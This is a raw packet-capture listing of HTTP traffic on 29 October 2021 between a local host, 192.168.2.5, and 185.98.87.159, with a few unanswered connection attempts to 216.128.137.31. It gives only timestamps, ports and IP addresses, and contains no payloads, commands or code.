Oct 29, 2021 20:10:12.532325029 CEST	80	49758	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:12.532330990 CEST	49758	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:12.532341003 CEST	80	49758	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:12.532356977 CEST	80	49758	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:12.532371998 CEST	80	49758	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:12.532378912 CEST	49758	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:12.532387972 CEST	80	49758	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:12.532428980 CEST	49758	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:12.557703018 CEST	80	49758	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:12.557729959 CEST	80	49758	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:12.557740927 CEST	80	49758	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:12.557758093 CEST	80	49758	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:12.557774067 CEST	80	49758	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:12.557792902 CEST	80	49758	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:12.557809114 CEST	80	49758	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:12.557823896 CEST	80	49758	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:12.557840109 CEST	80	49758	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:12.557841063 CEST	49758	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:12.557854891 CEST	80	49758	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:12.557872057 CEST	80	49758	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:12.557888985 CEST	80	49758	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:12.557904005 CEST	80	49758	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:12.557948112 CEST	80	49758	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:12.557971001 CEST	49758	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:12.557991982 CEST	49758	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:12.558068037 CEST	80	49758	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:12.558084965 CEST	80	49758	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:12.558099985 CEST	80	49758	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:12.558131933 CEST	80	49758	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:12.558146954 CEST	49758	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:12.558147907 CEST	80	49758	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:12.558163881 CEST	80	49758	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:12.558180094 CEST	49758	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:12.558198929 CEST	80	49758	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:12.558206081 CEST	49758	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:12.558234930 CEST	80	49758	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:12.558278084 CEST	49758	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:12.558650017 CEST	49758	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:12.612134933 CEST	80	49758	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:15.718477011 CEST	49759	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:15.770114899 CEST	80	49759	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:15.770313025 CEST	49759	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:15.888807058 CEST	49759	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:15.888838053 CEST	49759	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:15.965898037 CEST	80	49759	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:15.965991974 CEST	49759	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:15.966335058 CEST	49759	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:16.017838001 CEST	80	49759	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:16.168930054 CEST	49760	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:16.220926046 CEST	80	49760	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:16.221013069 CEST	49760	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:16.221129894 CEST	49760	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:16.221157074 CEST	49760	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:16.300287008 CEST	80	49760	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:16.300386906 CEST	49760	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:16.300652027 CEST	49760	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:16.353070021 CEST	80	49760	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:16.397901058 CEST	49761	80	192.168.2.5	216.128.137.31
Oct 29, 2021 20:10:19.537249088 CEST	49761	80	192.168.2.5	216.128.137.31
Oct 29, 2021 20:10:25.553458929 CEST	49761	80	192.168.2.5	216.128.137.31
Oct 29, 2021 20:10:31.515364885 CEST	49779	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:31.570063114 CEST	80	49779	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:31.570316076 CEST	49779	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:31.570542097 CEST	49779	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:31.570559025 CEST	49779	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:31.622909069 CEST	80	49779	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:31.649379969 CEST	80	49779	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:31.649557114 CEST	80	49779	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:31.649672985 CEST	49779	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:31.653544903 CEST	49779	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:31.708578110 CEST	80	49779	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:31.714348078 CEST	49781	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:31.771414995 CEST	80	49781	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:31.771559954 CEST	49781	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:31.771764040 CEST	49781	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:31.771815062 CEST	49781	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:31.847259998 CEST	80	49781	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:31.847451925 CEST	49781	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:31.847949028 CEST	49781	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:31.881059885 CEST	49782	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:31.902362108 CEST	80	49781	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:31.935302019 CEST	80	49782	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:31.935430050 CEST	49782	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:31.935556889 CEST	49782	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:31.935580015 CEST	49782	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:32.020942926 CEST	80	49782	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:32.021033049 CEST	49782	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:32.021099091 CEST	49782	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:32.074327946 CEST	80	49782	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:32.423729897 CEST	49786	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:32.475538969 CEST	80	49786	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:32.475684881 CEST	49786	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:32.476072073 CEST	49786	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:32.476229906 CEST	49786	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:32.554462910 CEST	80	49786	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:32.554610014 CEST	49786	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:32.554704905 CEST	49786	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:32.587270975 CEST	49788	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:32.606569052 CEST	80	49786	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:32.640547991 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:32.640752077 CEST	49788	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:32.640913010 CEST	49788	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:32.640933037 CEST	49788	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:32.694045067 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:32.722615004 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:32.722651005 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:32.722676039 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:32.722695112 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:32.722714901 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:32.722733021 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:32.722749949 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:32.722762108 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:32.722784996 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:32.722800970 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:32.722863913 CEST	49788	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:32.722906113 CEST	49788	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:32.722909927 CEST	49788	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:32.776715994 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:32.776760101 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:32.776783943 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:32.776806116 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:32.776824951 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:32.776864052 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:32.776897907 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:32.776897907 CEST	49788	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:32.776926994 CEST	49788	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:32.776928902 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:32.776957035 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:32.776972055 CEST	49788	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:32.776987076 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:32.777009010 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:32.777030945 CEST	49788	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:32.777033091 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:32.777060986 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:32.777076960 CEST	49788	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:32.777081013 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:32.777103901 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:32.777122974 CEST	49788	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:32.777132034 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:32.777156115 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:32.777174950 CEST	49788	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:32.777175903 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:32.777220964 CEST	49788	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:32.777245045 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:32.777266979 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:32.777304888 CEST	49788	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:32.830358982 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:32.830387115 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:32.830403090 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:32.830421925 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:32.830437899 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:32.830470085 CEST	49788	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:32.830528975 CEST	49788	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:32.830555916 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:32.830600977 CEST	49788	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:32.830642939 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:32.830660105 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:32.830676079 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:32.830705881 CEST	49788	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:32.830724955 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:32.830741882 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:32.830759048 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:32.830768108 CEST	49788	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:32.830775023 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:32.830796003 CEST	49788	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:32.830929041 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:32.830981970 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:32.831002951 CEST	49788	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:32.831013918 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:32.831032038 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:32.831053972 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:32.831070900 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:32.831083059 CEST	49788	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:32.831088066 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:32.831105947 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:32.831113100 CEST	49788	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:32.831137896 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:32.831142902 CEST	49788	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:32.831155062 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:32.831182957 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:32.831198931 CEST	49788	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:32.831208944 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:32.831224918 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:32.831233978 CEST	49788	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:32.831243038 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:32.831263065 CEST	49788	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:32.831293106 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:32.831309080 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:32.831325054 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:32.831341028 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:32.831340075 CEST	49788	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:32.831367016 CEST	49788	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:32.885684967 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:32.885833979 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:32.885852098 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:32.885869026 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:32.885885000 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:32.885901928 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:32.885919094 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:32.885936022 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:32.885952950 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:32.885968924 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:32.885984898 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:32.885987043 CEST	49788	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:32.886003017 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:32.886018991 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:32.886024952 CEST	49788	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:32.886042118 CEST	49788	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:32.886048079 CEST	49788	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:32.886048079 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:32.886054039 CEST	49788	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:32.886059046 CEST	49788	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:32.886061907 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:32.886065006 CEST	49788	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:32.886075020 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:32.886091948 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:32.886106014 CEST	49788	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:32.886109114 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:32.886126041 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:32.886128902 CEST	49788	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:32.886145115 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:32.886162996 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:32.886172056 CEST	49788	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:32.886178970 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:32.886192083 CEST	49788	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:32.886195898 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:32.886214018 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:32.886214018 CEST	49788	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:32.886229992 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:32.886246920 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:32.886248112 CEST	49788	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:32.886260033 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:32.886272907 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:32.886288881 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:32.886292934 CEST	49788	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:32.886306047 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:32.886315107 CEST	49788	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:32.886344910 CEST	49788	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:32.939621925 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:32.939650059 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:32.939667940 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:32.939683914 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:32.939765930 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:32.939805984 CEST	49788	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:32.939810038 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:32.939905882 CEST	49788	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:32.939971924 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:32.939990997 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:32.940082073 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:32.940093994 CEST	49788	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:32.940099001 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:32.940116882 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:32.940131903 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:32.940166950 CEST	49788	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:32.940180063 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:32.940197945 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:32.940213919 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:32.940229893 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:32.940253973 CEST	49788	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:32.940282106 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:32.940310001 CEST	49788	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:32.940329075 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:32.940359116 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:32.940373898 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:32.940429926 CEST	49788	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:32.940450907 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:32.940469027 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:32.940484047 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:32.940500021 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:32.940530062 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:32.940570116 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:32.940577984 CEST	49788	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:32.940635920 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:32.940651894 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:32.940665007 CEST	49788	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:32.940669060 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:32.940686941 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:32.940745115 CEST	49788	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:32.993587017 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:32.993643045 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:32.993696928 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:32.993773937 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:32.993798971 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:32.993855953 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:32.993897915 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:32.993922949 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:32.993946075 CEST	49788	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:32.993954897 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:32.993983030 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:32.994009018 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:32.994030952 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:32.994052887 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:32.994076967 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:32.994102001 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:32.994127035 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:32.994153023 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:32.994179010 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:32.994209051 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:32.994235039 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:32.994260073 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:32.994286060 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:32.994312048 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:32.994313955 CEST	49788	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:32.994337082 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:32.994364023 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:32.994389057 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:32.994407892 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:32.994434118 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:32.994436979 CEST	49788	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:32.994460106 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:32.994484901 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:32.994520903 CEST	49788	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:32.994527102 CEST	49788	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:32.994532108 CEST	49788	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:32.994544029 CEST	49788	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:32.994549036 CEST	49788	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:32.994575024 CEST	49788	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:32.994611979 CEST	49788	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:33.047703028 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:33.047751904 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:33.047787905 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:33.047851086 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:33.047864914 CEST	49788	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:33.047875881 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:33.047899008 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:33.047940016 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:33.047950029 CEST	49788	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:33.047964096 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:33.047986984 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:33.048008919 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:33.048015118 CEST	49788	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:33.048062086 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:33.048070908 CEST	49788	80	192.168.2.5	185.98.87.159
